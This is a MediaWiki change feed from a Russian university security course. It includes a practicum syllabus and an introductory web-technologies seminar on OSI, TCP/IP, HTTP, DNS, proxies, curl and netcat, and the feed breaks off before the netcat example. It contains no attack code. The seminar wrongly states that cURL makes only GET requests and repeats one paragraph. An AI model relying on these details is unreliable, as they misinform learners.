* [http://www.php.su/php/?php http://www.php.su/php/?php] - ещё один учебник&lt;br /&gt;
* [https://www.alchemistowl.org/pocorgtfo/pocorgtfo15.pdf Полиглоты]&lt;br /&gt;
* [https://drive.google.com/file/d/1Rz0RP5tKIWCmFDP3-_--VYu40ejWf48v/view?usp=sharing Валидация структурных типов]&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:Hex_print.png&amp;diff=306</id>
		<title>Файл:Hex print.png</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:Hex_print.png&amp;diff=306"/>
		<updated>2020-10-12T11:29:40Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:Mini.jpg&amp;diff=305</id>
		<title>Файл:Mini.jpg</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:Mini.jpg&amp;diff=305"/>
		<updated>2020-10-12T11:29:27Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2020)&amp;diff=299</id>
		<title>Практикум на ЭВМ (2020)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2020)&amp;diff=299"/>
		<updated>2020-09-29T20:49:23Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по четвергам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2020/2021 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2020)/Бонусное_задание|Бонусное задание]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (18 октября 2020) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2020)&amp;diff=298</id>
		<title>Практикум на ЭВМ (2020)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2020)&amp;diff=298"/>
		<updated>2020-09-29T20:47:36Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Материалы */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по четвергам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2020/2021 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2020)/Бонусное_задание|Бонусное задание]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
==== Семинар 1 (18 октября 2020) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%B2%D0%B5%D0%B1-%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D0%B8&amp;diff=297</id>
		<title>Веб-безопасность/Введение в веб-технологии</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%B2%D0%B5%D0%B1-%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D0%B8&amp;diff=297"/>
		<updated>2020-09-29T20:47:17Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: Новая страница: «ПО, которое необходимо (обязательно!) скачать/установить к семинару (всё работает под Window…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;ПО, которое необходимо (обязательно!) скачать/установить к семинару (всё работает под Windows/Linux/Mac Os):&lt;br /&gt;
# Ubuntu Linux 16.04 (виртуальная машина)&lt;br /&gt;
# Burp Suite Pro Community Edition: [https://portswigger.net/burp/communitydownload https://portswigger.net/burp/communitydownload]&lt;br /&gt;
&lt;br /&gt;
==Сеть==&lt;br /&gt;
===Сетевая модель OSI===&lt;br /&gt;
[[Файл:OSI.png|1024px]]&lt;br /&gt;
Сетевая модель OSI — сетевая модель стека (магазина) сетевых протоколов OSI. Посредством данной модели различные сетевые устройства могут взаимодействовать друг с другом. Модель определяет различные уровни взаимодействия систем. Каждый уровень выполняет определённые функции при таком взаимодействии.&lt;br /&gt;
&lt;br /&gt;
Есть несколько уровней этой модели:&lt;br /&gt;
# Физический уровень&lt;br /&gt;
# Канальный уровень&lt;br /&gt;
# Сетевой уровень&lt;br /&gt;
# Транспортный уровень&lt;br /&gt;
# Сеансовый уровень&lt;br /&gt;
# Уровень представления&lt;br /&gt;
# Прикладной уровень&lt;br /&gt;
&lt;br /&gt;
====Физический уровень====&lt;br /&gt;
Физический уровень — нижний уровень модели, который определяет метод передачи данных, представленных в двоичном виде, от одного устройства (компьютера) к другому. Физический уровень определяет такие виды сред передачи данных как оптоволокно, витая пара, коаксиальный кабель, спутниковый канал передач данных и т. п. Протоколы физического уровня: IEEE 802.15 (Bluetooth), 802.11 Wi-Fi и т. п.&lt;br /&gt;
====Канальный уровень====&lt;br /&gt;
Канальный уровень предназначен для обеспечения взаимодействия сетей на физическом уровне и контроля ошибок, которые могут возникнуть. Полученные с физического уровня данные, представленные в битах, он упаковывает в кадры, проверяет их на целостность и, если нужно, исправляет ошибки (формирует повторный запрос повреждённого кадра) и отправляет на сетевой уровень. На этом уровне работают коммутаторы, мосты и другие устройства. Пример протокола, работающего на этом уровне - IEEE 802.3 (Ethernet).&lt;br /&gt;
====Сетевой уровень====&lt;br /&gt;
Сетевой уровень модели предназначен для определения пути передачи данных. Отвечает за трансляцию логических адресов и имён в физические, определение кратчайших маршрутов, коммутацию и маршрутизацию, отслеживание неполадок и «заторов» в сети. Работающие на этом уровне устройства (маршрутизаторы) условно называют устройствами третьего уровня (по номеру уровня в модели OSI). Наиболее важные протоколы данного уровня - IP/IPv4/IPv6, о них мы подробнее поговорим ниже.&lt;br /&gt;
====Транспортный уровень====&lt;br /&gt;
Транспортный уровень модели предназначен для обеспечения надёжной передачи данных от отправителя к получателю. Примеры протоколов, работающего на этом уровне - TCP (Transmission Control Protocol), UDP (User Datagram Protocol).&lt;br /&gt;
====Сеансовый уровень====&lt;br /&gt;
Сеансовый уровень модели обеспечивает поддержание сеанса связи, позволяя приложениям взаимодействовать между собой длительное время. Примеры протоколов, работающего на этом уровне - PPTP (Point-to-Point Tunneling Protocol), RPC (Remote Procedure Call Protocol).&lt;br /&gt;
====Уровень представления====&lt;br /&gt;
Уровень представления обеспечивает преобразование протоколов и кодирование/декодирование данных. Важный протокол данного уровня - SSL и TLS, которые обеспечивают шифрование в протоколе HTTPS (о нём ниже).&lt;br /&gt;
====Прикладной уровень====&lt;br /&gt;
Прикладной уровень — верхний уровень модели, обеспечивающий взаимодействие пользовательских приложений с сетью:&lt;br /&gt;
* позволяет приложениям использовать сетевые службы:&lt;br /&gt;
** удалённый доступ к файлам и базам данных,&lt;br /&gt;
** пересылка электронной почты;&lt;br /&gt;
* отвечает за передачу служебной информации;&lt;br /&gt;
* предоставляет приложениям информацию об ошибках;&lt;br /&gt;
* формирует запросы к уровню представления.&lt;br /&gt;
Важные протоколы данного уровня - HTTP и HTTPS. О них подробно мы поговорим ниже.&lt;br /&gt;
&lt;br /&gt;
===Сетевая модель TCP/IP===&lt;br /&gt;
[[Файл:OSI and TCPIP.png|1024px]]&lt;br /&gt;
Кроме модели OSI используется так же модель TCP/IP.&lt;br /&gt;
&lt;br /&gt;
TCP/IP — сетевая модель передачи данных, представленных в цифровом виде. Модель TCP/IP и модель OSI являются концептуальными моделями, используемыми для описания всех сетевых коммуникаций, в то время как TCP/IP сама по себе также является важным протоколом, используемым во всех операциях Интернета. Модель TCP/IP широко используется в описании сети и старше модели OSI, у них обоих много слоев.&lt;br /&gt;
&lt;br /&gt;
Стек протоколов TCP/IP делится на 4 уровня:&lt;br /&gt;
# Уровень сетевого доступа&lt;br /&gt;
# Сетевой&lt;br /&gt;
# Транспортный&lt;br /&gt;
# Прикладной&lt;br /&gt;
Прикладной уровень соответствует сеансовый уровень , уровень представления и прикладной уровень, а уровню сетевого доступа - физический и канальный уровни.&lt;br /&gt;
===Ethernet===&lt;br /&gt;
Пример протокола уровня сетевого доступа - Ethernet. Это семейство технологий пакетной передачи данных между устройствами. Описывается семейством стандартов 802.3. Каждому устройству присваивается уникальный идентификатор - MAC-адрес.&lt;br /&gt;
[[Файл:Ethernet_Type_II_Frame_format.svg.png|1024px]]&lt;br /&gt;
===Ip===&lt;br /&gt;
На сетевом уровне чаще всего используется протокол IP.&lt;br /&gt;
IP-адрес — уникальный сетевой адрес узла в компьютерной сети, построенной на основе стека протоколов TCP/IP. Используется IPv4 (32 бита ) и IPv6 (128 бит).&lt;br /&gt;
&lt;br /&gt;
Маска подсети — битовая маска для определения по IP-адресу адреса подсети и адреса узла (хоста, компьютера, устройства) этой подсети. &lt;br /&gt;
&lt;br /&gt;
IP-адрес:       11000000 10101000 00000001 00000010 (192.168.1.2)&lt;br /&gt;
&lt;br /&gt;
Маска подсети:  11111111 11111111 11111110 00000000 (255.255.254.0)&lt;br /&gt;
&lt;br /&gt;
Адрес сети:     11000000 10101000 00000000 00000000 (192.168.0.0)&lt;br /&gt;
===Порт===&lt;br /&gt;
Порт — натуральное число, заголовках протоколов транспортного уровня модели OSI. Используется для определения процесса-получателя пакета в пределах одного хоста.&lt;br /&gt;
На прикладном уровне чаще всего используется протокол HTTP(S).&lt;br /&gt;
===TCP===&lt;br /&gt;
Протокол, предназначенный для управления передачей данных. Пакеты в TCP называются сегментами.&lt;br /&gt;
===HTTP/HTTPS===&lt;br /&gt;
HTTP (англ. HyperText Transfer Protocol — «протокол передачи гипертекста») — протокол прикладного уровня передачи данных.&lt;br /&gt;
Так же есть протокол HTTPS (S - Secure) — расширение протокола HTTP для поддержки шифрования в целях повышения безопасности.&lt;br /&gt;
Каждое HTTP-сообщение состоит из трёх частей, которые передаются в указанном порядке:&lt;br /&gt;
Стартовая строка (англ. Starting line) — определяет тип сообщения;&lt;br /&gt;
Заголовки (англ. Headers) — характеризуют тело сообщения, параметры передачи и прочие сведения;&lt;br /&gt;
Тело сообщения (англ. Message Body) — непосредственно данные сообщения. Обязательно должно отделяться от заголовков пустой строкой.&lt;br /&gt;
&lt;br /&gt;
В стартовой строке могут быть следующие типы сообщений:&lt;br /&gt;
&lt;br /&gt;
в случае запроса:&lt;br /&gt;
* GET - запрашивает представление указанного ресурса.&lt;br /&gt;
* HEAD - запрашивает заголовки, идентичные тем, что возвращаются, если указанный ресурс будет запрошен с помощью HTTP-метода GET&lt;br /&gt;
* OPTIONS - используется для описания параметров соединения с целевым ресурсом.&lt;br /&gt;
* DELETE - удаляет указанный ресурс.&lt;br /&gt;
* PUT - создает новый ресурс или заменяет представление целевого ресурса, данными представленными в теле запроса.&lt;br /&gt;
* PATCH - применяет частичную модификацию к ресурсу.&lt;br /&gt;
* POST - предназначен для отправки данных на сервер. Тип тела запроса указывается в заголовке Content-Type.&lt;br /&gt;
* CONNECT - запускает двустороннюю связь с запрошенным ресурсом.&lt;br /&gt;
* TRACE - выполняет проверку обратной связи по пути к целевому ресурсу, предоставляя полезный механизм отладки.&lt;br /&gt;
в случае ответа:&lt;br /&gt;
* 1xx - информирование о процессе передачи. &lt;br /&gt;
* 2xx - информирование о случаях успешного принятия и обработки запроса клиента. В зависимости от статуса, сервер может ещё передать заголовки и тело сообщения. &lt;br /&gt;
* 3xx - сообщает клиенту, что для успешного выполнения операции необходимо сделать другой запрос.&lt;br /&gt;
* 4xx - указание ошибок со стороны клиента.&lt;br /&gt;
* 5xx - информирование о случаях неудачного выполнения операции по вине сервера&lt;br /&gt;
Заголовки HTTP (англ. HTTP Headers) — это строки в HTTP-сообщении, содержащие разделённую двоеточием пару имя-значение. Заголовки должны отделяться от тела сообщения хотя бы одной пустой строкой.&lt;br /&gt;
&lt;br /&gt;
Один из самых важных заголовков - cookie.&lt;br /&gt;
&lt;br /&gt;
Cookie — небольшой фрагмент данных, отправленный веб-сервером и хранимый на компьютере пользователя. Необходимо для:&lt;br /&gt;
аутентификации пользователя;&lt;br /&gt;
хранения персональных предпочтений и настроек пользователя;&lt;br /&gt;
отслеживания состояния сеанса доступа пользователя;&lt;br /&gt;
ведения статистики о пользователях;&lt;br /&gt;
Вот выглядит запрос по URL https://ru.wikipedia.org/wiki/%D0%97%D0%B0%D0%B3%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0&lt;br /&gt;
(Красным цветом выделена стартовая строка, синим - заголовки, фиолетовым - тело запроса)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#B22222&amp;quot;&amp;gt;&lt;br /&gt;
GET /wiki/%D0%97%D0%B0%D0%B3%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0 HTTP/1.1&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;&lt;br /&gt;
Host: ru.wikipedia.org&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;&lt;br /&gt;
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;&lt;br /&gt;
Connection: close&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;&lt;br /&gt;
Cookie: WMF-Last-Access=14-Oct-2019; WMF-Last-Access-Global=14-Oct-2019; mwPhp7Seed=f2e; VEE=wikitext; PHP_ENGINE=php7; GeoIP=RU:MOW:Moscow:55.75:37.62:v4&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;&lt;br /&gt;
Upgrade-Insecure-Requests: 1&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;&lt;br /&gt;
If-Modified-Since: Mon, 14 Oct 2019 13:19:08 GMT&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
и вот как выглядит ответ на него:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#B22222&amp;quot;&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;&lt;br /&gt;
Date: Mon, 14 Oct 2019 14:09:06 GMT&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;&lt;br /&gt;
Content-Type: text/html; charset=UTF-8&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;&lt;br /&gt;
Content-Length: 127493&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#FF00FF&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE html&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#FF00FF&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html class=&amp;quot;client-nojs&amp;quot; lang=&amp;quot;ru&amp;quot; dir=&amp;quot;ltr&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#FF00FF&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#FF00FF&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#FF00FF&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;title&amp;gt;Википедия — свободная энциклопедия&amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#FF00FF&amp;quot;&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
===HTML===&lt;br /&gt;
HTML - стандартизированный язык разметки документов в интернете. Большинство веб-страниц имеют содержание разметки на языке HTML.&lt;br /&gt;
Например, зайдём на сайт http://example.org/&lt;br /&gt;
[[Файл:Example org.png|1024px]]&lt;br /&gt;
посмотрим её HTML разметку:&lt;br /&gt;
[[Файл:Html example org.png|1024px]]&lt;br /&gt;
Важное, что сейчас нужно знать про HTML - теги. Вот примеры тега:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;strong&amp;gt;Текст между двумя тегами — открывающим и закрывающим.&amp;lt;/strong&amp;gt;&lt;br /&gt;
&amp;lt;a href=&amp;quot;http://www.example.com&amp;quot;&amp;gt;Здесь элемент содержит атрибут href, то есть гиперссылку.&amp;lt;/a&amp;gt;&lt;br /&gt;
&amp;lt;/br&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Обычно используются парные теги — открывающий, или начальный (&amp;lt;strong&amp;gt;, &amp;lt;a href=&amp;quot;http://www.example.com&amp;quot;&amp;gt;), и закрывающий, или конечный (&amp;lt;/strong&amp;gt;, &amp;lt;/a&amp;gt;). Возможно также применение одиночного тега (&amp;lt;/br&amp;gt;).&lt;br /&gt;
===DNS===&lt;br /&gt;
[[Файл:DNS.png|1024px]]&lt;br /&gt;
Для получения IP адреса сайта используется DNS.&lt;br /&gt;
DNS - компьютерная распределённая система для получения информации о доменах.&lt;br /&gt;
Доме́н — узел в дереве имён, вместе со всеми подчинёнными ему узлами (если таковые имеются), то есть именованная ветвь или поддерево в дереве имён. Структура доменного имени отражает порядок следования узлов в иерархии; доменное имя читается слева направо от младших доменов к доменам высшего уровня (в порядке повышения значимости): вверху находится корневой домен (имеющий идентификатор «.»(точка)), ниже идут домены первого уровня (доменные зоны), затем — домены второго уровня, третьего и т. д. (например, для адреса ru.wikipedia.org. домен первого уровня — org, второго — wikipedia, третьего — ru). DNS позволяет не указывать точку корневого домена.&lt;br /&gt;
Поддомен  — подчинённый домен (например, wikipedia.org — поддомен домена org, а ru.wikipedia.org — домена wikipedia.org). Теоретически такое деление может достигать глубины 127 уровней, а каждая метка может содержать до 63 символов, пока общая длина вместе с точками не достигнет 254 символов. Но на практике регистраторы доменных имён используют более строгие ограничения. Например, если у вас есть домен вида mydomain.ru, вы можете создать для него различные поддомены вида mysite1.mydomain.ru, mysite2.mydomain.ru и т. д.&lt;br /&gt;
===Proxy===&lt;br /&gt;
Прокси-сервер, иначе - сервер-посредник — промежуточный сервер (комплекс программ) в компьютерных сетях, выполняющий роль посредника между пользователем и целевым сервером (при этом о посредничестве могут как знать, так и не знать обе стороны), позволяющий клиентам как выполнять косвенные запросы (принимая и передавая их через прокси-сервер) к другим сетевым службам, так и получать ответы.&lt;br /&gt;
Последнее определение, которое нам понадобится в дальнейшем - proxy-сервер.&lt;br /&gt;
Прокси-сервер, иначе - сервер-посредник — промежуточный сервер (комплекс программ) в компьютерных сетях, выполняющий роль посредника между пользователем и целевым сервером (при этом о посредничестве могут как знать, так и не знать обе стороны), позволяющий клиентам как выполнять косвенные запросы (принимая и передавая их через прокси-сервер) к другим сетевым службам, так и получать ответы.&lt;br /&gt;
==Инструменты==&lt;br /&gt;
В данном курсе нам понадобятся следующие инструменты:&lt;br /&gt;
===cURL===&lt;br /&gt;
cURL — кроссплатформенная служебная программа командной строки, позволяющая взаимодействовать с множеством различных серверов по множеству различных протоколов с синтаксисом URL.&lt;br /&gt;
cURL делает только GET запрос.&lt;br /&gt;
пример запроса:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
curl http://www.google.com/&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===netcat===&lt;br /&gt;
netcat — утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их.&lt;br /&gt;
Можно делать как GET, так и POST запросы.&lt;br /&gt;
пример запроса:&lt;br /&gt;
